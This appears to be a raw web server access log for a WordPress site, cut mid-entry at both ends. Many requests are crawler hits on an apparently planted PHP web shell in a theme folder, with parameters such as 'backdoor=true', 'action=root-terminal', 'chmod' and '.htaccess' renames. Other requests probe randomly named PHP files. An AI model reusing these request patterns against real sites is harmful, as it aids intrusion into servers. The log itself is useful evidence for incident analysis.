/assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f757067726164652f7770&rename=.htaccess HTTP/2" 200 3335 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:36:29 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3280 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.181.63.87 - - [17/Nov/2025:12:36:29 +0000] "GET /assets/backuply-20251107214702/wp/network/js/jquery/wp/ HTTP/1.1" 200 668 "-" "Mozilla/5.0 (Linux; Android 11; moto e20 Build/RONS31.267-94-14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.64 Mobile Safari/537.36" 222.254.153.4 - - [17/Nov/2025:12:36:31 +0000] "GET /assets/backuply-20251107214702/plugins/js/includes/plugins/wps-hide-login/ HTTP/1.1" 200 648 "-" "Mozilla/5.0 (Linux; Android 11; moto e20 Build/RONS31.267-94-14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.64 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:36:31 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=includes&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3263 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:36:33 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f706c7567696e73 HTTP/2" 200 3071 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 177.72.91.3 - - [17/Nov/2025:12:36:34 +0000] "GET /assets/assets-20251112184145/includes/includes/css/plugins/pagelayer/ HTTP/1.1" 200 661 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPX/2.2.0" 74.7.227.184 - - [17/Nov/2025:12:36:35 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f637373&rename=jquery HTTP/2" 200 3502 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.247.238.103 - - [17/Nov/2025:12:36:35 +0000] "GET /assets/assets-20251112184145/plugins/js/includes/upgrade/wp/ HTTP/1.1" 200 658 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:36:37 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c75646573 HTTP/2" 200 3168 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.30.73.118 - - [17/Nov/2025:12:36:37 +0000] "GET /assets/assets-20251112184145/upgrade/js/blocks/wp/prHCAMqyQ.php HTTP/1.1" 200 150 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.3 Mobile/15E148 Safari/604.1 RDDocuments/8.7.2.978" 14.189.17.36 - - [17/Nov/2025:12:36:38 +0000] "GET /assets/assets-20251112184145/wp/includes/network/wp/snCaPhB.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/122.0.6261.62 Mobile/15E148 Safari/604.1" 180.242.198.2 - - [17/Nov/2025:12:36:38 +0000] "GET /assets/fonts/js/includes/jcfxeds/wp-content/jcfxeds/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 113.174.189.241 - - [17/Nov/2025:12:36:39 +0000] "GET /assets/backuply/wp-includes/wp-contentaa/js/includes/includes/ HTTP/1.1" 200 647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:36:40 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c75646573&rename=network HTTP/2" 200 3574 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 190.120.185.8 - - [17/Nov/2025:12:36:41 +0000] "GET /assets/assets-20251112184145/css/themes/twentytwentyfour/templates/wp/ HTTP/1.1" 200 668 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.178.237.49 - - [17/Nov/2025:12:36:42 +0000] "GET /assets/backuply-20251107214702/plugins/js/includes/css/js/ HTTP/1.1" 200 657 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.229.171.228 - - [17/Nov/2025:12:36:27 +0000] "GET /assets/css/fonts/includes/css/wp/eQssw.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 113.172.222.95 - - [17/Nov/2025:12:36:27 +0000] "GET /assets/wp-content/wp-adminaa/includes/jcfxeds/wp-contentaa/jcfxeds/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 186.158.2.86 - - [17/Nov/2025:12:36:28 +0000] "GET /jquery-20251116202937/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.96 Version/17.0 Mobile/15E148 Safari/604.1" 123.19.193.118 - - [17/Nov/2025:12:36:28 +0000] "GET /assets/network/includes/jcfxeds/wp-content/jcfxeds/jcfxeds/ HTTP/1.1" 200 631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Trailer/93.3.3695.30" 14.187.10.3 - - [17/Nov/2025:12:36:29 +0000] "GET /assets/upgrade/js/js/includes/css/jquery/ HTTP/1.1" 200 626 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.232.237.106 - - [17/Nov/2025:12:36:31 +0000] "GET /assets/assets-20251112184145/js/includes/includes/includes/includes/ HTTP/1.1" 200 645 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.96 Version/17.0 Mobile/15E148 Safari/604.1" 123.20.65.140 - - [17/Nov/2025:12:36:31 +0000] "GET /assets/fonts/js/includes/css/upgrade/wp/ HTTP/1.1" 200 641 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.86 Version/17.0 Mobile/15E148 Safari/604.1" 123.21.199.199 - - [17/Nov/2025:12:36:32 +0000] "GET /assets/wp/includes/includes/jcfxeds/wp-adminaa/jcfxeds/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.178.232.228 - - [17/Nov/2025:12:36:32 +0000] "GET /assets/backuply/jquery/css/plugins/siteseo/assets/ HTTP/1.1" 200 630 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 14.180.175.152 - - [17/Nov/2025:12:36:36 +0000] "GET /assets/assets-20251112184145/wp-includes/wp-contentaa/js/includes/backuply/ HTTP/1.1" 200 650 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.105 Version/17.0 Mobile/15E148 Safari/604.1" 190.5.161.182 - - [17/Nov/2025:12:36:37 +0000] "GET /assets/plugins/js/includes/css/backuply/wp/ HTTP/1.1" 200 699 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.86 Version/17.0 Mobile/15E148 Safari/604.1" 85.174.180.31 - - [17/Nov/2025:12:36:40 +0000] "GET /assets/fonts/js/includes/css/backuply/wp/ HTTP/1.1" 200 695 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPT/4.2.3" 14.183.161.62 - - [17/Nov/2025:12:36:40 +0000] "GET /assets/css/wp/includes/themes/twentytwentyfour/styles/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 RDDocuments/8.4.8.940" 14.231.232.133 - - [17/Nov/2025:12:36:41 +0000] "GET /assets/blocks/includes/css/upgrade/wp/PcZAGw.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 113.173.17.80 - - [17/Nov/2025:12:36:43 +0000] "GET /assets/assets-20251112184145/wp/includes/themes/twentytwentyfive/assets/ HTTP/1.1" 200 646 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/121.0.2277.107 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:36:42 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f6a6366786564732f77702d61646d696e6161 HTTP/2" 200 3091 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.184.45.48 - - [17/Nov/2025:12:36:43 +0000] "GET /assets/assets-20251112184145/wp/includes/includes/css/plugins/ HTTP/1.1" 200 701 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 14.189.155.153 - - [17/Nov/2025:12:36:43 +0000] "GET /assets/backuply-20251107214702/network/js/js/jquery/wp/ HTTP/1.1" 200 667 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.105 Version/17.0 Mobile/15E148 Safari/604.1" 92.243.182.213 - - [17/Nov/2025:12:36:43 +0000] "GET /assets/backuply-20251107214702/plugins/js/includes/wp/mfKCGzdJq.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 113.173.141.110 - - [17/Nov/2025:12:36:44 +0000] "GET /assets/assets-20251112184145/includes/css/js/wp/cqlmjwTD.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 74.7.227.184 - - [17/Nov/2025:12:36:44 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f757067726164652f7770 HTTP/2" 200 3337 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.20.98.161 - - [17/Nov/2025:12:36:45 +0000] "GET /assets/backuply/includes/includes/includes/css/network/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:36:46 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6a6366786564732f77702d636f6e74656e746161 HTTP/2" 200 3189 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.165.119.184 - - [17/Nov/2025:12:36:47 +0000] "GET /assets/assets-20251112184145/includes/includes/css/themes/twentytwentyfour/ HTTP/1.1" 200 675 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.191.2.168 - - [17/Nov/2025:12:36:48 +0000] "GET /assets/includes/js/includes/jcfxeds/jcfxeds/wp-content/ HTTP/1.1" 200 648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:36:49 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=plugins&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f637373 HTTP/2" 200 3507 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:36:52 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f696e636c75646573&rename=includes HTTP/2" 200 3244 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 104.28.230.248 - - [17/Nov/2025:12:36:43 +0000] "GET /assets/css/wp/includes/plugins/siteseo/assets/ HTTP/1.1" 200 625 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 GLS/100.10.9979.100" 222.254.231.215 - - [17/Nov/2025:12:36:44 +0000] "GET /assets/assets-20251112184145/plugins/js/js/js/includes/ HTTP/1.1" 200 685 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5; rv:123.0esr) Gecko/20100101 Firefox/123.0esr" 14.226.1.220 - - [17/Nov/2025:12:36:46 +0000] "GET /assets/img/js/includes/backuply/wp/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 14.244.62.115 - - [17/Nov/2025:12:36:47 +0000] "GET /assets/assets-20251112184145/wp/js/js/includes/backuply/ HTTP/1.1" 200 639 "-" "Mozilla/5.0 (Android 8.1.0; Mobile; rv:123.0) Gecko/123.0 Firefox/123.0" 14.189.215.0 - - [17/Nov/2025:12:36:48 +0000] "GET /assets/img/js/includes/themes/twentytwentyfour/templates/ HTTP/1.1" 200 632 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 123.17.186.70 - - [17/Nov/2025:12:36:53 +0000] "GET /assets/backuply/plugins/js/includes/css/js/ HTTP/1.1" 200 644 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 123.20.166.69 - - [17/Nov/2025:12:36:55 +0000] "GET /assets/wp-adminaa/js/includes/jcfxeds/wp-includes/wp-contentaa/ HTTP/1.1" 200 641 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 113.170.214.108 - - [17/Nov/2025:12:36:55 +0000] "GET /assets/assets-20251112184145/includes/css/plugins/pagelayer/images/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Mobile Safari/537.36 EdgA/121.0.0.0" 113.170.77.72 - - [17/Nov/2025:12:36:55 +0000] "GET /assets/includes/includes/jcfxeds/wp-contentaa/jcfxeds/jcfxeds/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 154.244.8.148 - - [17/Nov/2025:12:36:57 +0000] "GET /assets/assets-20251112184145/css/wp/includes/jcfxeds/ysouwxa/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 147.93.13.32 - - [17/Nov/2025:12:36:57 +0000] "GET /assets/css/img/includes/js/js/jquery/ HTTP/1.1" 200 624 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/116.0.1938.72 Version/17.0 Mobile/15E148 Safari/604.1" 123.27.239.187 - - [17/Nov/2025:12:36:58 +0000] "GET /assets/wp-includes/js/includes/jcfxeds/jcfxeds/wp-content/ HTTP/1.1" 200 565 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Config/92.2.2788.20" 14.237.241.136 - - [17/Nov/2025:12:36:59 +0000] "GET /assets/css/wp/js/js/includes/backuply/ HTTP/1.1" 200 626 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 83.208.47.103 - - [17/Nov/2025:12:37:00 +0000] "GET /assets/backuply-20251107214702/wp/twentytwentyfive/assets/fonts/fira-code/ HTTP/1.1" 200 656 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.179.105.39 - - [17/Nov/2025:12:37:00 +0000] "GET /assets/assets-20251112184145/themes/twentytwenty/inc/includes/js/ HTTP/1.1" 200 658 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Config/92.2.2788.20" 123.26.125.227 - - [17/Nov/2025:12:37:01 +0000] "GET /assets/assets-20251112184145/jquery/css/backuply/wp/lyRhDU.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 92.253.236.74 - - [17/Nov/2025:12:36:54 +0000] "GET /assets/backuply/jquery/twentytwentyfour/assets/fonts/cardo/ HTTP/1.1" 200 638 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 14.239.7.172 - - [17/Nov/2025:12:36:54 +0000] "GET /assets/css/wp/includes/css/jquery/wp/ HTTP/1.1" 200 644 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/118.0.2088.68 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:36:55 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3072 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.174.69.195 - - [17/Nov/2025:12:36:56 +0000] "GET /assets/wp-includes/wp-contentaa/js/includes/css/network/ HTTP/1.1" 200 631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.169.193.173 - - [17/Nov/2025:12:36:56 +0000] "GET /assets/backuply/wp-includes/network/includes/jcfxeds/wp-contentaa/ HTTP/1.1" 200 637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.228.176.131 - - [17/Nov/2025:12:36:57 +0000] "GET /assets/css/wp/js/includes/blocks/wp/ HTTP/1.1" 200 643 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:36:57 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f6a73&rename=jquery HTTP/2" 200 3250 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:36:59 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=plugins&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f637373 HTTP/2" 200 3491 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 103.129.150.81 - - [17/Nov/2025:12:37:01 +0000] "GET /assets/backuply-20251107214702/includes/plugins/siteseo/assets/img/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:37:01 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f6e6574776f726b HTTP/2" 200 3222 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.19.207.134 - - [17/Nov/2025:12:37:01 +0000] "GET /assets/css/js/includes/themes/twentytwentythree/patterns/ HTTP/1.1" 200 630 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 EdgiOS/121.2277.107 Mobile/15E148 Safari/605.1.15" 14.179.31.107 - - [17/Nov/2025:12:37:02 +0000] "GET /assets/css/wp/js/js/includes/css/ HTTP/1.1" 200 1017 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.191.161.84 - - [17/Nov/2025:12:37:02 +0000] "GET /assets/assets-20251112184145/jquery/css/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11686 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.232.19.153 - - [17/Nov/2025:12:37:03 +0000] "GET /assets/css/js/includes/includes/jcfxeds/ysouwxa/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.116 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:37:04 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f696e636c75646573 HTTP/2" 200 3261 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 201.240.247.71 - - [17/Nov/2025:12:37:05 +0000] "GET /assets/assets-20251112184145/blocks/includes/js/blocks/wp/ HTTP/1.1" 200 664 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.187.39.5 - - [17/Nov/2025:12:37:05 +0000] "GET /assets/backuply-20251107214702/wp/includes/plugins/pagelayer/main/ HTTP/1.1" 200 648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:37:05 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6a636678656473 HTTP/2" 200 3195 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 186.130.109.81 - - [17/Nov/2025:12:37:06 +0000] "GET /assets/wp-includes/wp-contentaa/js/includes/css/jquery/ HTTP/1.1" 200 632 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.248.177.149 - - [17/Nov/2025:12:37:06 +0000] "GET /assets/backuply/wp-adminaa/js/js/includes/includes/ HTTP/1.1" 200 634 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 